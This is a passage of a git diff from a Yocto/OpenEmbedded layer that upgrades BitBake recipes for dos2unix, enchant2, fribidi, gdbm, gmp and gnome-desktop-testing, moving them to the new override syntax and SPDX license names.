-UPSTREAM_CHECK_GITTAGREGEX = "dos2unix-(?P<pver>(\d+(\.\d+)+))"
-
-SRCREV = "0490f0723b1a0851b17343f6164915f3474b5197"
-
-S = "${WORKDIR}/git/dos2unix"
-
-inherit gettext perlnative
-
-# The dos2unix NLS relies on po4a-native, while po4a recipe is
-# provided by meta-perl layer, so make it optional here, you
-# need have meta-perl in bblayers.conf before enabling nls in
-# PACKAGECONFIG.
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[nls] = "ENABLE_NLS=1,ENABLE_NLS=,po4a-native"
-
-EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} LDFLAGS_USER='${LDFLAGS}'"
-EXTRA_OEMAKE_class-native = "ENABLE_NLS="
-
-do_install () {
- oe_runmake DESTDIR="${D}${base_prefix}" install
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/dos2unix/dos2unix_7.5.2.bb b/meta/recipes-support/dos2unix/dos2unix_7.5.2.bb
new file mode 100644
index 0000000000..06338dd62f
--- /dev/null
+++ b/meta/recipes-support/dos2unix/dos2unix_7.5.2.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Convert text file line endings between CRLF and LF"
+DESCRIPTION = "The Dos2unix package includes utilities dos2unix and \
+unix2dos to convert plain text files in DOS or Mac format to Unix \
+format and vice versa."
+HOMEPAGE = "http://waterlan.home.xs4all.nl/dos2unix.html"
+SECTION = "support"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.txt;md5=49ec74e0139712398b9ddb06d824929a"
+
+SRC_URI = "git://git.code.sf.net/p/dos2unix/dos2unix;branch=master;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "dos2unix-(?P<pver>(\d+(\.\d+)+))"
+
+SRCREV = "c16a0b31a64c7eb6b2d76960e5144732b57f2993"
+
+S = "${WORKDIR}/git/dos2unix"
+
+inherit gettext perlnative
+
+# The dos2unix NLS relies on po4a-native, while po4a recipe is
+# provided by meta-perl layer, so make it optional here, you
+# need have meta-perl in bblayers.conf before enabling nls in
+# PACKAGECONFIG.
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[nls] = "ENABLE_NLS=1,ENABLE_NLS=,po4a-native"
+
+EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} LDFLAGS_USER='${LDFLAGS}'"
+EXTRA_OEMAKE:class-native = "ENABLE_NLS="
+
+do_install () {
+ oe_runmake DESTDIR="${D}${base_prefix}" install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/enchant/enchant2_2.2.8.bb b/meta/recipes-support/enchant/enchant2_2.2.8.bb
deleted file mode 100644
index 4ddbe55da5..0000000000
--- a/meta/recipes-support/enchant/enchant2_2.2.8.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Enchant Spell checker API Library"
-SECTION = "libs"
-HOMEPAGE = "https://abiword.github.io/enchant/"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7"
-
-DEPENDS = "glib-2.0"
-
-inherit autotools pkgconfig
-
-SRC_URI = "https://github.com/AbiWord/enchant/releases/download/v${PV}/enchant-${PV}.tar.gz"
-SRC_URI[md5sum] = "c7b9d6a392ecb8758e499f783e8dc883"
-SRC_URI[sha256sum] = "c7b5e2853f0dd0b1aafea2f9e071941affeec3a76df8e3f6d67a718c89293555"
-
-UPSTREAM_CHECK_URI = "https://github.com/AbiWord/enchant/releases"
-
-S = "${WORKDIR}/enchant-${PV}"
-
-EXTRA_OEMAKE = "pkgdatadir=${datadir}/enchant-2"
-
-PACKAGECONFIG ??= "aspell"
-PACKAGECONFIG[aspell] = "--with-aspell,--without-aspell,aspell,aspell"
-PACKAGECONFIG[hunspell] = "--with-hunspell,--without-hunspell,hunspell,hunspell"
-
-FILES_${PN} += " \
- ${datadir}/enchant-2 \
- ${libdir}/enchant-2 \
-"
-FILES_${PN}-staticdev += "${libdir}/enchant-2/*.a"
diff --git a/meta/recipes-support/enchant/enchant2_2.6.9.bb b/meta/recipes-support/enchant/enchant2_2.6.9.bb
new file mode 100644
index 0000000000..aaf3525ad8
--- /dev/null
+++ b/meta/recipes-support/enchant/enchant2_2.6.9.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Enchant Spell checker API Library"
+DESCRIPTION = "A library (and command-line program) that wraps a number of \
+different spelling libraries and programs with a consistent interface."
+SECTION = "libs"
+HOMEPAGE = "https://abiword.github.io/enchant/"
+BUGTRACKER = "https://github.com/AbiWord/enchant/issues/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0 groff-native"
+
+inherit autotools pkgconfig github-releases
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/enchant-${PV}.tar.gz"
+SRC_URI[sha256sum] = "d9a5a10dc9b38a43b3a0fa22c76ed6ebb7e09eb535aff62954afcdbd40efff6b"
+
+GITHUB_BASE_URI = "https://github.com/AbiWord/enchant/releases"
+
+S = "${WORKDIR}/enchant-${PV}"
+
+PACKAGECONFIG ??= "aspell"
+PACKAGECONFIG[aspell] = "--with-aspell,--without-aspell,aspell,aspell"
+PACKAGECONFIG[hunspell] = "--with-hunspell,--without-hunspell,hunspell,hunspell"
+
+FILES:${PN} += " \
+ ${datadir}/enchant-2 \
+ ${libdir}/enchant-2 \
+"
+FILES:${PN}-staticdev += "${libdir}/enchant-2/*.a"
diff --git a/meta/recipes-support/fribidi/fribidi_1.0.10.bb b/meta/recipes-support/fribidi/fribidi_1.0.10.bb
deleted file mode 100644
index ba9e6f06d6..0000000000
--- a/meta/recipes-support/fribidi/fribidi_1.0.10.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Free Implementation of the Unicode Bidirectional Algorithm"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.xz \
- "
-SRC_URI[md5sum] = "97c87da9930e8e70fbfc8e2bcd031554"
-SRC_URI[sha256sum] = "7f1c687c7831499bcacae5e8675945a39bacbad16ecaa945e9454a32df653c01"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-
-inherit meson lib_package pkgconfig
-
-CVE_PRODUCT = "gnu_fribidi"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/fribidi/fribidi_1.0.13.bb b/meta/recipes-support/fribidi/fribidi_1.0.13.bb
new file mode 100644
index 0000000000..5d0476a375
--- /dev/null
+++ b/meta/recipes-support/fribidi/fribidi_1.0.13.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Free Implementation of the Unicode Bidirectional Algorithm"
+DESCRIPTION = "It provides utility functions to aid in the development \
+of interactive editors and widgets that implement BiDi functionality. \
+The BiDi algorithm is a prerequisite for supporting right-to-left scripts such \
+as Hebrew, Arabic, Syriac, and Thaana. "
+SECTION = "libs"
+HOMEPAGE = "http://fribidi.org/"
+BUGTRACKER = "https://github.com/fribidi/fribidi/issues"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.xz \
+ "
+SRC_URI[sha256sum] = "7fa16c80c81bd622f7b198d31356da139cc318a63fc7761217af4130903f54a2"
+
+inherit meson lib_package pkgconfig github-releases
+
+CVE_PRODUCT = "gnu_fribidi fribidi"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch b/meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch
deleted file mode 100644
index c1580418dc..0000000000
--- a/meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From f993697af81c37df9c55e0ebedeb1b8b880506ae Mon Sep 17 00:00:00 2001
-From: Richard Leitner <richard.leitner@skidata.com>
-Date: Tue, 5 May 2020 11:59:42 +0200
-Subject: [PATCH] gdbm: fix link failure against gcc-10
-
-Copied from gentoo's solution at https://bugs.gentoo.org/show_bug.cgi?id=705898
-Original patch by Sergei Trofimovich <slyfox@gentoo.org>
-
-Original description:
-
-Before the change on gcc-10 link failed as:
-```
- CCLD gdbmtool
-ld: ./libgdbmapp.a(parseopt.o):(.bss+0x8): multiple definition of `parseopt_program_args';
- gdbmtool.o:(.data.rel.local+0x260): first defined here
-ld: ./libgdbmapp.a(parseopt.o):(.bss+0x10): multiple definition of `parseopt_program_doc';
- gdbmtool.o:(.data.rel.local+0x268): first defined here
-```
-
-gcc-10 will change the default from -fcommon to fno-common:
- https://gcc.gnu.org/PR85678.
-
-The fix is to avoid multiple definition and rely on
-declarations only.
-
-Upstream-Status: Pending
-Signed-off-by: Richard Leitner <richard.leitner@skidata.com>
----
- src/parseopt.c | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/src/parseopt.c b/src/parseopt.c
-index 268e080..a4c8576 100644
---- a/src/parseopt.c
-+++ b/src/parseopt.c
-@@ -255,8 +255,6 @@ print_option_descr (const char *descr, size_t lmargin, size_t rmargin)
- }
-
- char *parseopt_program_name;
--char *parseopt_program_doc;
--char *parseopt_program_args;
- const char *program_bug_address = "<" PACKAGE_BUGREPORT ">";
- void (*parseopt_help_hook) (FILE *stream);
-
---
-2.26.2
-
diff --git a/meta/recipes-support/gdbm/files/ptest.patch b/meta/recipes-support/gdbm/files/ptest.patch
index 1e67dbd554..25fb6bb2f4 100644
--- a/meta/recipes-support/gdbm/files/ptest.patch
+++ b/meta/recipes-support/gdbm/files/ptest.patch
@@ -1,4 +1,4 @@
-From 41448708e163c8ec1f980464e7dd6741db427c8a Mon Sep 17 00:00:00 2001
+From 8bea84a598b51a7ac7e50aa8f0f20857a9b6b07b Mon Sep 17 00:00:00 2001
From: Josep Puigdemont <josep.puigdemont@enea.com>
Date: Sun, 4 May 2014 16:02:07 +0200
Subject: [PATCH] Add install-ptest rules.
@@ -9,16 +9,16 @@ Upstream-Status: Pending
---
Makefile.am | 5 +++++
- tests/Makefile.am | 11 +++++++++++
- 2 files changed, 16 insertions(+)
+ tests/Makefile.am | 12 ++++++++++++
+ 2 files changed, 17 insertions(+)
diff --git a/Makefile.am b/Makefile.am
-index ecc03df..9fbbda5 100644
+index 59e2643..5f3ceb0 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -55,3 +55,8 @@ ChangeLog:
- awk -f $(top_srcdir)/git2chg.awk \
- -v append=$(top_srcdir)/$(prev_change_log) > ChangeLog; \
+@@ -64,3 +64,8 @@ ChangeLog:
+ mv ChangeLog.tmp ChangeLog; \
+ rm -f ChangeLog.tmp; \
fi
+
+install-ptest:
@@ -26,13 +26,14 @@ index ecc03df..9fbbda5 100644
+ $(MAKE) -C $$subdir DESTDIR=$(DESTDIR)/$$subdir $@; \
+ done
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index dbe17dd..06f537f 100644
+index fac6826..5dc2091 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -169,3 +169,14 @@ EXTRA_DIST += \
- gdbmtool/base.exp\
- config/default.exp
+@@ -143,3 +143,15 @@ d_creat_ce_LDADD = ../src/libgdbm.la ../compat/libgdbm_compat.la
+ t_wordwrap_LDADD = ../tools/libgdbmapp.a
+ SUBDIRS = gdbmtool
++
+buildtests: $(check_PROGRAMS) $(TESTSUITE)
+
+install-ptest: $(check_PROGRAMS) $(TESTSUITE)
@@ -44,3 +45,6 @@ index dbe17dd..06f537f 100644
+ $(INSTALL_PROGRAM) $$file $(DESTDIR) ; \
+ fi \
+ done
+--
+2.25.1
+
diff --git a/meta/recipes-support/gdbm/files/run-ptest b/meta/recipes-support/gdbm/files/run-ptest
index 615da8444b..8d6481185d 100755
--- a/meta/recipes-support/gdbm/files/run-ptest
+++ b/meta/recipes-support/gdbm/files/run-ptest
@@ -4,4 +4,4 @@
cd tests
-./testsuite AUTOTEST_PATH=$PWD abs_builddir=$PWD COMPAT=1 | sed 's/^[^0-9]*\([0-9]\+\): \(.*\)\(ok\|pass\|skipped\|fail\|FAILED\)\(.*\)$/\3: \2 \4/;s/ \+/ /g;s/^ok/PASS/;s/^skipped/SKIP/;s/^fail/FAIL/;s/^FAILED/FAIL/'
+./testsuite --am-fmt AUTOTEST_PATH=$PWD abs_builddir=$PWD COMPAT=1
diff --git a/meta/recipes-support/gdbm/gdbm_1.18.1.bb b/meta/recipes-support/gdbm/gdbm_1.18.1.bb
deleted file mode 100644
index fbb1fe72d7..0000000000
--- a/meta/recipes-support/gdbm/gdbm_1.18.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Key/value database library with extensible hashing"
-HOMEPAGE = "http://www.gnu.org/software/gdbm/"
-SECTION = "libs"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=241da1b9fe42e642cbb2c24d5e0c4d24"
-
-
-SRC_URI = "${GNU_MIRROR}/gdbm/gdbm-${PV}.tar.gz \
- file://run-ptest \
- file://ptest.patch \
- file://gdbm-fix-link-failure-against-gcc-10.patch \
- "
-
-SRC_URI[md5sum] = "988dc82182121c7570e0cb8b4fcd5415"
-SRC_URI[sha256sum] = "86e613527e5dba544e73208f42b78b7c022d4fa5a6d5498bf18c8d6f745b91dc"
-
-inherit autotools gettext texinfo lib_package ptest
-
-# Needed for dbm python module
-EXTRA_OECONF = "--enable-libgdbm-compat --without-readline"
-
-# Stop presence of dbm/nbdm on the host contaminating builds
-CACHED_CONFIGUREVARS += "ac_cv_lib_ndbm_main=no ac_cv_lib_dbm_main=no"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append () {
- # Create a symlink to ndbm.h and gdbm.h in include/gdbm to let other packages to find
- # these headers
- install -d ${D}${includedir}/gdbm
- ln -sf ../ndbm.h ${D}/${includedir}/gdbm/ndbm.h
- ln -sf ../gdbm.h ${D}/${includedir}/gdbm/gdbm.h
-}
-
-RDEPENDS_${PN}-ptest += "diffutils ${PN}-bin"
-
-do_compile_ptest() {
- oe_runmake -C tests buildtests
-}
-
-PACKAGES =+ "${PN}-compat \
- "
-FILES_${PN}-compat = "${libdir}/libgdbm_compat${SOLIBS} \
- "
diff --git a/meta/recipes-support/gdbm/gdbm_1.23.bb b/meta/recipes-support/gdbm/gdbm_1.23.bb
new file mode 100644
index 0000000000..a08079741d
--- /dev/null
+++ b/meta/recipes-support/gdbm/gdbm_1.23.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Key/value database library with extensible hashing"
+DESCRIPTION = "Library of database functions that use extensible hashing \
+and work similar to the standard UNIX dbm. These routines are provided \
+to a programmer needing to create and manipulate a hashed database."
+HOMEPAGE = "http://www.gnu.org/software/gdbm/"
+SECTION = "libs"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=241da1b9fe42e642cbb2c24d5e0c4d24"
+
+
+SRC_URI = "${GNU_MIRROR}/gdbm/gdbm-${PV}.tar.gz \
+ file://run-ptest \
+ file://ptest.patch \
+ "
+
+SRC_URI[sha256sum] = "74b1081d21fff13ae4bd7c16e5d6e504a4c26f7cde1dca0d963a484174bbcacd"
+
+inherit autotools gettext texinfo lib_package ptest
+
+# Needed for dbm python module
+EXTRA_OECONF = "--enable-libgdbm-compat --without-readline"
+
+# Stop presence of dbm/nbdm on the host contaminating builds
+CACHED_CONFIGUREVARS += "ac_cv_lib_ndbm_main=no ac_cv_lib_dbm_main=no"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append () {
+ # Create a symlink to ndbm.h and gdbm.h in include/gdbm to let other packages to find
+ # these headers
+ install -d ${D}${includedir}/gdbm
+ ln -sf ../ndbm.h ${D}/${includedir}/gdbm/ndbm.h
+ ln -sf ../gdbm.h ${D}/${includedir}/gdbm/gdbm.h
+}
+
+RDEPENDS:${PN}-ptest += "diffutils ${PN}-bin"
+
+do_compile_ptest() {
+ oe_runmake -C tests buildtests
+}
+
+PACKAGES =+ "${PN}-compat \
+ "
+FILES:${PN}-compat = "${libdir}/libgdbm_compat${SOLIBS} \
+ "
diff --git a/meta/recipes-support/gmp/gmp.inc b/meta/recipes-support/gmp/gmp.inc
index 948b89288e..1872226616 100644
--- a/meta/recipes-support/gmp/gmp.inc
+++ b/meta/recipes-support/gmp/gmp.inc
@@ -8,5 +8,5 @@ inherit autotools texinfo multilib_header
PACKAGECONFIG ??= ""
PACKAGECONFIG[readline] = "--with-readline=yes,--with-readline=no,readline"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch b/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
index 56564db505..b26f4db98e 100644
--- a/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
+++ b/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
@@ -12,8 +12,8 @@ Secondly, dont set armv4 for march when no selection
is made, since it is passed from cmdline
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [OE-Specific]
---
-Upstream-Status: Inappropriate[OE-Specific]
configure.ac | 11 -----------
1 file changed, 11 deletions(-)
diff --git a/meta/recipes-support/gmp/gmp_6.2.0.bb b/meta/recipes-support/gmp/gmp_6.2.0.bb
deleted file mode 100644
index a19c74fca8..0000000000
--- a/meta/recipes-support/gmp/gmp_6.2.0.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-require gmp.inc
-
-LICENSE = "GPLv2+ | LGPLv3+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
-"
-
-REVISION = ""
-SRC_URI = "https://gmplib.org/download/${BPN}/${BP}${REVISION}.tar.bz2 \
- file://use-includedir.patch \
- file://0001-Append-the-user-provided-flags-to-the-auto-detected-.patch \
- file://0001-confiure.ac-Believe-the-cflags-from-environment.patch \
- "
-SRC_URI[md5sum] = "c24161e0dd44cae78cd5f67193492a21"
-SRC_URI[sha256sum] = "f51c99cb114deb21a60075ffb494c1a210eb9d7cb729ed042ddb7de9534451ea"
-
-acpaths = ""
-
-EXTRA_OECONF += " --enable-cxx=detect"
-EXTRA_OECONF_mipsarchr6_append = " --disable-assembly"
-
-PACKAGES =+ "libgmpxx"
-FILES_libgmpxx = "${libdir}/libgmpxx${SOLIBS}"
-
-do_install_append() {
- oe_multilib_header gmp.h
-}
-
-do_install_prepend_class-target() {
- sed -i \
- -e "s|--sysroot=${STAGING_DIR_HOST}||g" \
- -e "s|${DEBUG_PREFIX_MAP}||g" \
- ${B}/gmp.h
-}
-
-SSTATE_SCAN_FILES += "gmp.h"
-
-# Doesn't compile in MIPS16e mode due to use of hand-written
-# assembly
-MIPS_INSTRUCTION_SET = "mips"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gmp/gmp_6.3.0.bb b/meta/recipes-support/gmp/gmp_6.3.0.bb
new file mode 100644
index 0000000000..fd4aec92fd
--- /dev/null
+++ b/meta/recipes-support/gmp/gmp_6.3.0.bb
@@ -0,0 +1,53 @@
+require gmp.inc
+
+LICENSE = "GPL-2.0-or-later | LGPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYINGv3;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
+"
+
+REVISION = ""
+SRC_URI = "https://gmplib.org/download/${BPN}/${BP}${REVISION}.tar.bz2 \
+ file://use-includedir.patch \
+ file://0001-Append-the-user-provided-flags-to-the-auto-detected-.patch \
+ file://0001-confiure.ac-Believe-the-cflags-from-environment.patch \
+ "
+SRC_URI[sha256sum] = "ac28211a7cfb609bae2e2c8d6058d66c8fe96434f740cf6fe2e47b000d1c20cb"
+
+acpaths = ""
+
+EXTRA_OECONF += " --enable-cxx=detect"
+EXTRA_OECONF:append:mipsarchr6 = " --disable-assembly"
+
+PACKAGES =+ "libgmpxx"
+FILES:libgmpxx = "${libdir}/libgmpxx${SOLIBS}"
+
+do_install:append() {
+ oe_multilib_header gmp.h
+}
+
+fix_absolute_paths () {
+ sed -i \
+ -e "s|--sysroot=${STAGING_DIR_HOST}||g" \
+ -e "s|${DEBUG_PREFIX_MAP}||g" \
+ ${B}/gmp.h
+}
+
+do_install:prepend:class-target() {
+ fix_absolute_paths
+}
+
+do_install:prepend:class-nativesdk() {
+ fix_absolute_paths
+}
+
+SSTATE_SCAN_FILES += "gmp.h"
+
+# Doesn't compile in MIPS16e mode due to use of hand-written
+# assembly
+MIPS_INSTRUCTION_SET = "mips"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch
new file mode 100644
index 0000000000..39efa4a463
--- /dev/null
+++ b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch
@@ -0,0 +1,31 @@
+From df625a36be8e0c7afa68b3dd23907dc7d658c59a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 8 Jul 2021 23:13:30 -0700
+Subject: [PATCH] fix non-literal format string issue with clang
+
+clang errors out when using -Werror=format-nonliteral
+since the definition of g_strdup_vprintf() from glib-2.0
+is using va_list and clang seems to still warn where as
+gcc doesn't do that for va_list arguments
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gnome-desktop-testing/-/merge_requests/9]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/gnome-desktop-testing-runner.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/gnome-desktop-testing-runner.c b/src/gnome-desktop-testing-runner.c
+index d75b71c..da49e14 100644
+--- a/src/gnome-desktop-testing-runner.c
++++ b/src/gnome-desktop-testing-runner.c
+@@ -74,7 +74,7 @@ static const char * const test_log_message_ids[] = {
+ static gboolean opt_quiet = FALSE;
+ static gboolean opt_tap = FALSE;
+
+-static void
++static void G_GNUC_PRINTF (3, 0)
+ test_log (TestLog what,
+ const char *test_name,
+ const char *format,
+--
+2.32.0
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb
deleted file mode 100644
index 0defebeb15..0000000000
--- a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Test runner for GNOME-style installed tests"
-HOMEPAGE = "https://wiki.gnome.org/GnomeGoals/InstalledTests"
-LICENSE = "LGPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
- file://src/gnome-desktop-testing-runner.c;beginline=1;endline=20;md5=7ef3ad9da2ffcf7707dc11151fe007f4"
-
-SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-desktop-testing.git;protocol=http"
-SRCREV = "4decade67b29ad170fcf3de148e41695fc459f48"
-
-DEPENDS = "glib-2.0"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = ",,systemd"
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb
new file mode 100644
index 0000000000..1173dd4af3
--- /dev/null
+++ b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Test runner for GNOME-style installed tests"
+DESCRIPTION = "Runner provides an execution harness for GNOME installed tests. \
+These tests are useful for verifying the functionality of software as \
+installed and packaged, and complement rather than replace build-time \
+('make check') tests."
+HOMEPAGE = "https://wiki.gnome.org/GnomeGoals/InstalledTests"
+LICENSE = "LGPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
+ file://src/gnome-desktop-testing-runner.c;beginline=1;endline=20;md5=7ef3ad9da2ffcf7707dc11151fe007f4"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-desktop-testing.git;protocol=https;branch=master \
+ file://0001-fix-non-literal-format-string-issue-with-clang.patch \
+ "
+SRCREV = "e346cd4ed2e2102c9b195b614f3c642d23f5f6e7"
+
+DEPENDS = "glib-2.0"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = ",,systemd"
diff --git a/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch b/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch
deleted file mode 100644
index 5c9c022226..0000000000
--- a/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 59a3c76d4016ffc615f1c45184f4c6820061d69c Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Wed, 16 Aug 2017 11:14:12 +0800
-Subject: [PATCH 1/4] Use pkg-config to find pth instead of pth-config.
-
-Upstream-Status: Denied
-[not submitted but they've been clear they don't want a pkg-config
-dependency]
-
-RP 2014/5/22
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Rebase to 2.1.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- m4/gnupg-pth.m4 | 53 ++++++++---------------------------------------------
- 1 file changed, 8 insertions(+), 45 deletions(-)
-
-diff --git a/m4/gnupg-pth.m4 b/m4/gnupg-pth.m4
-index 6dc9e0e..5892531 100644
---- a/m4/gnupg-pth.m4
-+++ b/m4/gnupg-pth.m4
-@@ -17,33 +17,9 @@ dnl implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- # Taken and modified from the m4 macros which come with Pth.
- AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- [
-- _pth_version=`$PTH_CONFIG --version | awk 'NR==1 {print [$]3}'`
- _req_version="ifelse([$1],,1.2.0,$1)"
-+ PKG_CHECK_MODULES(PTH, [pth >= $_req_version], [have_pth=yes], [have_pth=no])
-
-- AC_MSG_CHECKING(for PTH - version >= $_req_version)
-- for _var in _pth_version _req_version; do
-- eval "_val=\"\$${_var}\""
-- _major=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\1/'`
-- _minor=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\2/'`
-- _rtype=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\3/'`
-- _micro=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\4/'`
-- case $_rtype in
-- "a" ) _rtype=0 ;;
-- "b" ) _rtype=1 ;;
-- "." ) _rtype=2 ;;
-- esac
-- _hex=`echo dummy | awk '{ printf("%d%02d%1d%02d", major, minor, rtype, micro); }' \
-- "major=$_major" "minor=$_minor" "rtype=$_rtype" "micro=$_micro"`
-- eval "${_var}_hex=\"\$_hex\""
-- done
-- have_pth=no
-- if test ".$_pth_version_hex" != .; then
-- if test ".$_req_version_hex" != .; then
-- if test $_pth_version_hex -ge $_req_version_hex; then
-- have_pth=yes
-- fi
-- fi
-- fi
- if test $have_pth = yes; then
- AC_MSG_RESULT(yes)
- AC_MSG_CHECKING([whether PTH installation is sane])
-@@ -51,9 +27,9 @@ AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- _gnupg_pth_save_cflags=$CFLAGS
- _gnupg_pth_save_ldflags=$LDFLAGS
- _gnupg_pth_save_libs=$LIBS
-- CFLAGS="$CFLAGS `$PTH_CONFIG --cflags`"
-- LDFLAGS="$LDFLAGS `$PTH_CONFIG --ldflags`"
-- LIBS="$LIBS `$PTH_CONFIG --libs --all`"
-+ CFLAGS="$CFLAGS $PTH_CFLAGS"
-+ LDFLAGS="$LDFLAGS $PTH_LDFLAGS"
-+ LIBS="$LIBS $PTH_LIBS"
- AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pth.h>
- ],
- [[ pth_init ();]])],
